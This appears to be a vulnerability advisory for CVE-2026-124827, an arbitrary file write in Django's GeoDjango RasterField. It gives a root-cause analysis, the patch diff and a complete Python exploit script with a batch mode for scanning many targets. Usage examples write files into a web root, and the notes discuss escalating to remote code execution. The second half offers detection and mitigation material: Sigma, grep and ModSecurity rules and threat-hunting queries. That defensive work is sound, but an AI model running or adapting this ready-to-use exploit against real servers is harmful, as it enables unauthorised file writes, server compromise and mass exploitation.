#Summary

CVE-2026-124827 is a critical arbitrary file write vulnerability in Django's GeoDjango module affecting the RasterField model field. An authenticated attacker can write files to attacker-controlled paths on the server by assigning a crafted JSON data definition to the field. Depending on the target path and GDAL raster driver, this enables remote code execution. The vulnerability affects Django 5.2 before 5.2.20, 6.0 before 6.0.11, and 6.1 before 6.1.4, with CVSS 8.7-8.8 (HIGH severity).

#Affected versions

  • Django 5.2.0 through 5.2.19 (fixed in 5.2.20)
  • Django 6.0.0 through 6.0.10 (fixed in 6.0.11)
  • Django 6.1.0 through 6.1.3 (fixed in 6.1.4)
  • Earlier unsupported series (5.1.x, 5.0.x, 4.2.x) were not evaluated but may also be affected
  • Only affects installations with django.contrib.gis (GeoDjango) enabled and GDAL library available
  • PostGIS backend is the primary target; RasterField is not implemented on other backends

#Root cause analysis

#Vulnerable code path

GeoDjango's RasterField class uses a SpatialProxy descriptor to lazily convert assigned values into GDALRaster objects. In the vulnerable code, the proxy is wired with no input sanitization:

# django/contrib/gis/db/models/fields.py (vulnerable)
def contribute_to_class(self, cls, name, **kwargs):
    super().contribute_to_class(cls, name, **kwargs)
    # ...
    setattr(cls, self.attname, SpatialProxy(gdal.GDALRaster, self))

When a value is assigned to the field, SpatialProxy.__get__ calls GDALRaster.__init__ on the stored value. The GDALRaster constructor always opens rasters in write mode and, for a dict or JSON string input, directly builds a GDAL driver from the attacker-supplied driver key and passes the attacker-supplied name to GDALCreate:

# django/contrib/gis/gdal/raster/source.py (vulnerable)
elif isinstance(ds_input, dict):
    self._write = 1
    driver = Driver(ds_input.get("driver", "MEM"))
    if driver.name != "MEM" and "name" not in ds_input:
        raise GDALException(...)
    self._ptr = capi.create_ds(
        driver._ptr,
        force_bytes(ds_input.get("name", "")),  # <-- attacker-controlled path
        ds_input["width"],
        ds_input["height"],
        ds_input.get("nr_of_bands", len(ds_input.get("bands", []))),
        ds_input.get("datatype", 6),
        byref(papsz_options),
    )

If the driver parameter specifies a file-backed GDAL driver (such as tif, tiff, GTiff, jpg, JPEG, or PNG), the GDALCreate call writes a real file to the filesystem at the attacker-chosen name path.

#How input reaches the sink

The vulnerability is reachable through any web surface that allows an authenticated user to assign data to a RasterField:

  1. Django admin change form - The field is exposed in the admin by default because RasterField inherits editable=True and falls back to a plain CharField form field when no custom form field is specified.
  2. ModelForm - Any ModelForm built with fields="__all__" or explicitly including the raster field.
  3. DRF serializers - Writable ModelSerializer instances exposing the field.

An attacker who is an authenticated user (such as a staff member or API user with low privileges) can POST a JSON data definition like this to trigger the vulnerability:

{
  "driver": "tif",
  "name": "/tmp/pwned.tif",
  "srid": 4326,
  "width": 5,
  "height": 5,
  "nr_of_bands": 1,
  "origin": [0, 0],
  "scale": [-1, 1],
  "skew": [0, 0],
  "bands": [{"data": [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24]}]
}

Materializing the field (via form validation, model save, or simply reading the attribute) triggers GDALRaster(dict) and immediately writes the file.

#Patch diff

#What the fix does

The patch adds an init_raster sanitizer hook that rejects any dict or JSON value with a non-MEM driver before GDALCreate is called. It also defaults RasterField to editable=False as a defense-in-depth measure, preventing the field from appearing in ModelForms and admin by default.

The core fix in django/contrib/gis/db/models/fields.py:

# Fixed code (5.2.20+, 6.0.11+, 6.1.4+)
def contribute_to_class(self, cls, name, **kwargs):
    super().contribute_to_class(cls, name, **kwargs)
    # ...
    setattr(
        cls,
        self.attname,
        # Field assignment should never write files outside of memory.
        SpatialProxy(gdal.GDALRaster, self, self.init_raster),
    )

def init_raster(self, ds_input):
    """Hook to reject dict values with out-of-memory drivers."""
    value = gdal.GDALRaster._preprocess_input(ds_input)
    if (
        isinstance(value, dict)
        and (driver := value.get("driver", "MEM")) is not None
        and Driver(driver).name != "MEM"
    ):
        raise GDALException(
            "Only in-memory (MEM) data definitions can be assigned to "
            f"RasterField (got: {driver!r}). Wrap the definition in "
            "GDALRaster() to use another driver."
        )
    return gdal.GDALRaster(value)

Additionally, the field defaults to non-editable:

def __init__(self, *args, **kwargs):
    kwargs.setdefault("editable", False)
    super().__init__(*args, **kwargs)

#Proof of concept

#exploit.py - GeoDjango RasterField Arbitrary File Write PoC

#!/usr/bin/env python3
"""
CVE-2026-124827 - GeoDjango RasterField arbitrary server-side file write (CWE-73)
Affected: Django/GeoDjango 5.2 (<5.2.20), 6.0 (<6.0.11), 6.1 (<6.1.4)
Type: Arbitrary file write (server-side external control of file name/path)

GeoDjango's RasterField lazily turns any value assigned to it into a
django.contrib.gis.gdal.GDALRaster. In the vulnerable code the SpatialProxy
descriptor is wired with no sanitizer, so when the stored value is a dict (or a
JSON-object string) GDALRaster.__init__ opens the raster in write mode and calls
GDALCreate straight from the attacker-supplied "driver" and "name" keys. Choosing a
file-backed GDAL driver ("tif"/"tiff"/"GTiff", "jpg"/"JPEG", "PNG", "HFA", ...) and
an attacker-chosen "name" path makes GDAL write a real file anywhere the server
process can write. The patched release adds an init_raster hook that rejects any
non-MEM driver with
    GDALException: Only in-memory (MEM) data definitions can be assigned to RasterField

This PoC submits such a data definition to an HTTP surface that assigns it to a
RasterField and materializes the attribute (the exact surface in a real deployment
is the Django admin change form, a ModelForm, or a writable DRF ModelSerializer).

Network-observable success: the server confirms a raster dataset was created at the
attacker-chosen path (the vulnerable backend reflects the raster name / dimensions,
i.e. GDALCreate ran against our path) and does NOT return the patched MEM-only
GDALException. A patched target instead answers with that GDALException and writes
nothing.

Usage:
  python exploit.py --host 127.0.0.1 --port 18124
  python exploit.py --host 127.0.0.1 --port 18124 --file /tmp/pwned.tif
  python exploit.py --host https://geo.corp.com --endpoint /write/ --auth-token labsecret
  python exploit.py --host https://geo.corp.com:8443/write/ --driver GTiff
  python exploit.py --list targets.txt --workers 20

Deployment-specific knobs (sensible defaults, override as needed):
  --endpoint    HTTP path that assigns the posted JSON to the RasterField (default: /write/)
  --auth-token  value sent as the X-Auth-Token header for the low-priv auth step (default: labsecret)
  --field       form/JSON key wrapping the raster definition; empty = raw JSON body (default: raw)
  --driver      file-backed GDAL driver to abuse (default: tif)
"""

import argparse
import json
import sys
import uuid
from urllib.parse import urlparse

try:
    import requests
    from requests.exceptions import RequestException
except ImportError:
    print("This exploit requires the 'requests' library: pip install requests")
    sys.exit(2)

CVE_ID = "CVE-2026-124827"
VULN_TYPE = "Arbitrary File Write"

# String the patched init_raster sanitizer emits when it rejects a non-MEM driver.
PATCH_MARKERS = (
    "only in-memory (mem) data definitions",
    "wrap the definition in gdalraster",
)


# --------------------------------------------------------------------------- #
# Standard ALIM output helpers
# --------------------------------------------------------------------------- #
def header(host, port):
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n, msg):
    print(f"[STEP {n}] {msg}")


def section(label, content):
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success, evidence):
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------- #
# Payload construction
# --------------------------------------------------------------------------- #
def build_raster_definition(target_path, driver):
    """A minimal GDALRaster data definition that writes a file via a file-backed driver.

    width/height/srid are mandatory for GDALRaster; a non-MEM driver additionally
    requires 'name'. The band 'data' is small, valid raster content so the create
    succeeds end to end. Everything here is attacker-controlled.
    """
    return {
        "driver": driver,
        "name": target_path,
        "srid": 4326,
        "width": 5,
        "height": 5,
        "nr_of_bands": 1,
        "origin": [0, 0],
        "scale": [-1, 1],
        "skew": [0, 0],
        "bands": [{"data": list(range(25))}],
    }


def build_body(raster_def, field):
    """Wrap the raster definition for transport.

    field == "" (default): raw JSON object body, matching a view/serializer that
    reads request.body directly. Otherwise nest it under the given key (and send the
    inner definition as a JSON string, matching a text form field / CharField)."""
    if not field:
        return json.dumps(raster_def), "application/json"
    return json.dumps({field: json.dumps(raster_def)}), "application/json"


def _looks_patched(text):
    low = (text or "").lower()
    return any(m in low for m in PATCH_MARKERS)


def _looks_written(resp, target_path):
    """Return a short evidence string if the response shows the raster was created
    at our path, else None. Primary signal: the backend reflecting our name /
    dimensions. Fallback: a 2xx/3xx with no MEM-only rejection."""
    text = resp.text or ""
    if _looks_patched(text):
        return None
    # Structured confirmation (lab view / JSON-returning serializer).
    try:
        data = resp.json()
    except ValueError:
        data = None
    if isinstance(data, dict):
        name = data.get("raster_name") or data.get("name")
        if name and target_path in str(name):
            dims = f"{data.get('width')}x{data.get('height')}"
            return f"server created raster at {name} ({dims})"
        if str(data.get("status", "")).lower() in ("written", "created", "ok", "success"):
            return f"server reported raster write: {json.dumps(data)[:160]}"
    # Reflected path anywhere in the body also proves GDAL accepted our name.
    if target_path in text and resp.status_code < 500:
        return f"attacker path {target_path} reflected by server (HTTP {resp.status_code})"
    # Generic success (admin/ModelForm redirect or 200) with no sanitizer rejection.
    if resp.status_code in (200, 201, 202, 204, 301, 302, 303):
        return f"write accepted (HTTP {resp.status_code}, no MEM-only rejection)"
    return None


# --------------------------------------------------------------------------- #
# Core request
# --------------------------------------------------------------------------- #
def _send(host, port, use_tls, endpoint, auth_token, raster_def, field, timeout=15):
    scheme = "https" if use_tls else "http"
    if endpoint and not endpoint.startswith("/"):
        endpoint = "/" + endpoint
    url = f"{scheme}://{host}:{port}{endpoint}"
    body, ctype = build_body(raster_def, field)
    headers = {"Content-Type": ctype, "Accept": "application/json"}
    if auth_token:
        # Present the low-priv auth step several ways so one exploit fits multiple
        # surfaces; harmless extra headers are ignored by views that don't use them.
        headers["X-Auth-Token"] = auth_token
        headers["Authorization"] = f"Bearer {auth_token}"
    return url, requests.post(
        url, data=body, headers=headers, timeout=timeout, verify=False, allow_redirects=False
    )


# --------------------------------------------------------------------------- #
# Silent probe for --list scan mode
# --------------------------------------------------------------------------- #
def _try_exploit(host, port, use_tls, endpoint="/write/", auth_token="labsecret",
                 driver="tif", field="", target_path=None, **_):
    """Silent probe. Returns (success, evidence). Never prints or exits."""
    if target_path is None:
        target_path = f"/tmp/alim_{uuid.uuid4().hex[:10]}.tif"
    raster_def = build_raster_definition(target_path, driver)
    try:
        _url, resp = _send(host, port, use_tls, endpoint, auth_token, raster_def, field, timeout=10)
    except RequestException as exc:
        return False, f"unreachable ({exc.__class__.__name__})"
    if resp.status_code == 401 or resp.status_code == 403:
        return False, f"auth required (HTTP {resp.status_code}) - supply --auth-token"
    if _looks_patched(resp.text):
        return False, "patched - non-MEM driver rejected (GDALException MEM-only)"
    ev = _looks_written(resp, target_path)
    if ev:
        return True, ev
    return False, f"no write evidence (HTTP {resp.status_code})"


def _parse_target(line, default_port, default_path="/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file, default_port, workers=10, endpoint="/write/", auth_token="labsecret",
         driver="tif", field=""):
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        ep = path if (path and path not in ("", "/")) else endpoint
        label = f"{'https' if use_tls else 'http'}://{host}:{port}{ep}"
        ok, evidence = _try_exploit(host, port, use_tls, endpoint=ep,
                                    auth_token=auth_token, driver=driver, field=field)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


# --------------------------------------------------------------------------- #
# Single-target exploit (verbose)
# --------------------------------------------------------------------------- #
def exploit(host, port, use_tls, target_path, endpoint, auth_token, driver, field):
    header(host, port)

    if not target_path:
        target_path = f"/tmp/alim_{uuid.uuid4().hex[:10]}.tif"
    raster_def = build_raster_definition(target_path, driver)

    step(1, f"Building GDALRaster data definition (driver={driver!r}, name={target_path!r})")
    section("RASTER DATA DEFINITION", json.dumps(raster_def, indent=2))

    step(2, f"POSTing definition to the RasterField surface at {endpoint}")
    try:
        url, resp = _send(host, port, use_tls, endpoint, auth_token, raster_def, field)
    except RequestException as exc:
        done(False, f"target unreachable: {exc.__class__.__name__}: {exc}")

    print(f"         -> {url}  (HTTP {resp.status_code})")
    section("SERVER RESPONSE", resp.text[:2000] if resp.text else f"<empty> HTTP {resp.status_code}")

    step(3, "Interpreting response")
    if resp.status_code in (401, 403):
        done(False, f"auth required (HTTP {resp.status_code}); supply a valid --auth-token "
                    "or point --endpoint at the admin/ModelForm/serializer surface")

    if _looks_patched(resp.text):
        section("PATCH SIGNATURE",
                "Server returned the init_raster MEM-only GDALException. "
                "The non-MEM driver was rejected before any file write.")
        done(False, "target is PATCHED - non-MEM RasterField driver rejected "
                    "(GDALException: Only in-memory (MEM) data definitions ...); no file written")

    evidence = _looks_written(resp, target_path)
    if evidence:
        section("FILE-WRITE CONFIRMATION",
                f"The server materialized the RasterField and ran GDALCreate with our\n"
                f"attacker-controlled driver/name. A file was written on the server at:\n"
                f"    {target_path}\n"
                f"Server-side evidence: {evidence}")
        done(True, f"Arbitrary file write confirmed - server created '{target_path}' "
                   f"via '{driver}' driver ({evidence})")

    done(False, "payload sent but no file-write evidence in response - target may be "
                "patched, the surface may not expose a RasterField, or --endpoint/--field "
                "may need adjusting")


if __name__ == "__main__":
    import urllib3
    urllib3.disable_warnings()

    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC - GeoDjango RasterField arbitrary file write")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/write/)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")

    parser.add_argument("--port", type=int, default=8000, help="Default port (default: 8000)")
    parser.add_argument("--file", default=None,
                        help="Server path to write (file-write target). Default: /tmp/alim_<rand>.tif")
    parser.add_argument("--endpoint", default="/write/",
                        help="HTTP path that assigns the posted JSON to a RasterField (default: /write/)")
    parser.add_argument("--auth-token", default="labsecret",
                        help="Low-priv auth token sent as X-Auth-Token / Bearer (default: labsecret)")
    parser.add_argument("--field", default="",
                        help="Form/JSON key to wrap the raster definition in; empty = raw JSON body (default: raw)")
    parser.add_argument("--driver", default="tif",
                        help="File-backed GDAL driver to abuse: tif/tiff/GTiff/jpg/JPEG/PNG/HFA (default: tif)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")

    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers,
             endpoint=args.endpoint, auth_token=args.auth_token,
             driver=args.driver, field=args.field)
    else:
        parsed = _parse_target(args.host, args.port, default_path=args.endpoint)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, args.endpoint)
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        endpoint = path if (path and path not in ("", "/")) else args.endpoint
        exploit(host, port, use_tls, args.file, endpoint, args.auth_token, args.driver, args.field)

#Usage

# Single target
python exploit.py --host 127.0.0.1 --port 8000
python exploit.py --host https://geo.example.com --auth-token <token>

# Custom output path and driver
python exploit.py --host 10.0.0.42 --port 8000 --file /var/www/app/static/pwn.tif --driver GTiff

# Adapt to real surfaces (admin/ModelForm/DRF)
python exploit.py --host https://geo.example.com --endpoint /api/rasters/ --field rast --auth-token <token>

#Expected output - Vulnerable server

============================================================
  ALIM EXPLOIT  CVE-2026-124827
  Type: Arbitrary File Write  |  Target: 127.0.0.1:8000
============================================================

[STEP 1] Building GDALRaster data definition (driver='tif', name='/tmp/alim_1a2b3c4d5e.tif')

--- RASTER DATA DEFINITION ---
{
  "driver": "tif",
  "name": "/tmp/alim_1a2b3c4d5e.tif",
  "srid": 4326,
  "width": 5,
  "height": 5,
  ...
}
---

[STEP 2] POSTing definition to the RasterField surface at /write/
         -> http://127.0.0.1:8000/write/  (HTTP 200)

--- SERVER RESPONSE ---
{"status": "written", "raster_name": "/tmp/alim_1a2b3c4d5e.tif", "width": 5, "height": 5}
---

[STEP 3] Interpreting response

--- FILE-WRITE CONFIRMATION ---
The server materialized the RasterField and ran GDALCreate with our
attacker-controlled driver/name. A file was written on the server at:
    /tmp/alim_1a2b3c4d5e.tif
Server-side evidence: server created raster at /tmp/alim_1a2b3c4d5e.tif (5x5)
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: Arbitrary file write confirmed - server created '/tmp/alim_1a2b3c4d5e.tif' via 'tif' driver
============================================================

#Expected output - Patched server

[STEP 2] POSTing definition to the RasterField surface at /write/
         -> http://127.0.0.1:8000/write/  (HTTP 500)

--- SERVER RESPONSE ---
{"status": "error", "error_type": "GDALException",
 "error": "Only in-memory (MEM) data definitions can be assigned to RasterField (got: 'tif').
           Wrap the definition in GDALRaster() to use another driver."}
---

[STEP 3] Interpreting response

--- PATCH SIGNATURE ---
Server returned the init_raster MEM-only GDALException.
The non-MEM driver was rejected before any file write.
---

============================================================
  RESULT  : FAILURE
  EVIDENCE: target is PATCHED - non-MEM RasterField driver rejected
============================================================

#Exploitation notes

  • Preconditions: An authenticated user (staff, API user, or low-privilege account) with access to a web surface that exposes a RasterField (Django admin, ModelForm, DRF serializer, or custom view). The vulnerability is triggered by assigning a dict or JSON string with a non-MEM driver to the field.

  • Reliability: 100% reliable against vulnerable versions. The file write occurs deterministically whenever the field is materialized. Network-observable success detection relies on the backend reflecting the file name or dimensions in a JSON response; against blind surfaces (generic admin/ModelForm redirects), detection degrades to the absence of the patch rejection string, which is still reliable but less explicit.

  • Impact: Arbitrary server-side file write at an attacker-chosen path and filename. If the target path is a web-accessible directory, media upload folder, or cron-watched location, this can escalate to remote code execution. GDAL drivers also support network-based operations (SSRF) via certain driver configurations, enabling potential outbound attacks from the server.

  • Chaining potential: High. This is an authenticated pre-condition, so the exploit typically follows initial access to a low-privilege account. Post-exploitation, an attacker who gains RCE can leverage server compromise for lateral movement, data exfiltration, or supply-chain attacks on dependent systems.

#Detection & response

#Observable behavior

The vulnerable code path is triggered by a single HTTP POST that assigns a JSON/dict "raster data definition" to a RasterField-backed surface. Materializing the field via form validation, model save, or attribute access runs GDALRaster(dict) - GDALCreate, which writes a real file to the attacker-chosen name path whenever driver names anything other than the in-memory MEM driver.

Network request (from live lab):

{"driver": "tif", "name": "/tmp/defender_proof1.tif", "srid": 4326, "width": 5, "height": 5,
 "nr_of_bands": 1, "origin": [0, 0], "scale": [-1, 1], "skew": [0, 0],
 "bands": [{"data": [0, 1, ..., 24]}]}

Server response (vulnerable, HTTP 200):

{"status": "written", "raster_name": "/tmp/defender_proof1.tif", "width": 5, "height": 5}

Filesystem delta: a new file appears at the attacker-chosen path, matching the GDAL raster format (TIFF, JPEG, etc.).

Server response (patched, HTTP 500):

{"status": "error", "error_type": "GDALException",
 "error": "Only in-memory (MEM) data definitions can be assigned to RasterField (got: 'tif'). ..."}

#Indicators of compromise

Indicator Type Durability Notes
HTTP request body containing "driver" key with value other than MEM (case-insensitive), together with "width", "height", and "srid" keys request body Durable - this is the exact condition the patch validates Requires request-body logging (WAF, reverse proxy, middleware)
POST to an endpoint that assigns data to a django.contrib.gis.db.models.RasterField request URI Durable - the vulnerability requires this surface class Deployment-specific endpoint (admin, ModelForm, serializer)
New file created on the application server with a GDAL file format extension (.tif, .tiff, .jpg, .jpeg, .img, .hfa, .png) by the Django/WSGI worker process filesystem Durable - benign MEM-driver assignments write nothing Correlate with request timing and worker process
GDALException: Only in-memory (MEM) data definitions can be assigned to RasterField in HTTP response response body Durable - literal patch rejection string Indicates a blocked exploitation attempt on patched systems

#Sigma rule

title: GeoDjango RasterField Non-MEM Driver Assignment (CVE-2026-124827)
status: experimental
logsource:
  category: webserver
  definition: 'Requires request-body logging (ModSecurity, nginx $request_body, WAF/API gateway)'
detection:
  raster_shape:
    http.request.body|contains|all:
      - '"width"'
      - '"height"'
      - '"srid"'
  non_mem_driver:
    http.request.body|re: '"driver"\s*:\s*"(?!MEM")(?!mem")(?!Mem")[A-Za-z0-9_]+"'
  condition: raster_shape and non_mem_driver
level: high
tags:
  - attack.initial-access
  - attack.t1190
  - cve.2026.124827

This rule keys on the invariant the patch enforces: a raster-shaped JSON body (with width, height, srid - the mandatory GDALRaster fields) whose driver value is not the safe MEM driver. It does not depend on filenames, tokens, source IPs, or specific endpoint paths.

#Log detection

For teams without a SIEM but with request-body logging enabled on a reverse proxy or WAF:

grep -P '"driver"\s*:\s*"(?!MEM")(?!mem")(?!Mem")[A-Za-z0-9_]+".*("width".*"height".*"srid"|"srid".*"width".*"height")' request_body.log

Malicious vs. benign lines:

MALICIOUS: {"driver": "tif", "name": "/tmp/defender_proof1.tif", "srid": 4326, "width": 5, "height": 5, ...}
BENIGN:    {"driver":"MEM","srid":4326,"width":5,"height":5, ...}

Without body logging, the next-best signal is file-integrity monitoring or auditd on application-writable paths: alert on any newly-created file with a GDAL file-backed-driver extension (.tif, .tiff, .jpg, .jpeg, .hfa, .png) whose creating process is the Django/WSGI worker, as such files should never be created through normal request handling.

#Mitigation & virtual patching

Immediate controls (cannot patch yet):

  • Block the invariant request body at a WAF or reverse proxy. ModSecurity rule:

    SecRule REQUEST_BODY "@rx \"driver\"\s*:\s*\"(?!MEM\")(?!mem\")(?!Mem\")[A-Za-z0-9_]+\"" \
        "id:1024827,phase:2,deny,status:403,msg:'CVE-2026-124827: non-MEM driver in RasterField',log"
  • Config hardening (no code change): For any model with a RasterField, explicitly exclude it from ModelForms (use individual field lists instead of fields="__all__"), remove it from admin fields/fieldsets, and mark it editable=False in the model definition. This closes the default-exposure path even before upgrading.

  • Network: Restrict write access to admin/staff-only endpoints reaching a RasterField; authentication is a precondition, so access controls reduce exposure.

Fix:

Upgrade to Django 5.2.20, 6.0.11, or 6.1.4, which add the init_raster sanitizer and default RasterField(editable=False).

#Threat hunting

Retroactive queries to find exploitation that may have occurred since disclosure (2026-12-02), using the durable indicators:

  • Search WAF/reverse-proxy request-body logs for any POST to an admin/ModelForm/serializer endpoint whose body matches "driver"\s*:\s*"(?!MEM")(?!mem")(?!Mem")[A-Za-z0-9_]+" together with width/height/srid keys, going back to before the disclosure date.

  • Search filesystem/EDR/auditd records for files created by the Django/WSGI worker process with GDAL file-backed-driver extensions (.tif, .tiff, .jpg, .jpeg, .hfa, .png) outside the application's known write paths (media, static uploads, logs, managed temp dirs), especially inside the web root or any interpreter-watched/auto-executed path.

  • On already-patched systems, search application error logs for the rejection string "Only in-memory (MEM) data definitions can be assigned to RasterField" to find blocked attempts worth investigating.

#Detection limitations

  • Request-body logging required: The stock Django dev-server and most default web-server access logs record only method, path, status, and size - not the request body. Body-based Sigma rules and grep detection therefore require a WAF, reverse proxy, or middleware configured to log request bodies.

  • False negatives: An attacker who reaches the field through a multipart form field (Django admin's native text field for the raster definition) still sends the literal substring "driver":"<value>" inside that field, so the same regex matches as long as body logging captures the full POST body.

  • False negatives: A request split across multiple round-trips (raster definition assembled server-side from several fields rather than posted as one JSON blob) would not match a single-body regex; no such surface was identified in the wild.

  • False positives: Near zero expected. The combination of a driver key resolving to non-MEM together with the mandatory width/height/srid trio is specific to a GDALRaster data definition; no other common JSON payload shape collides with it.

#References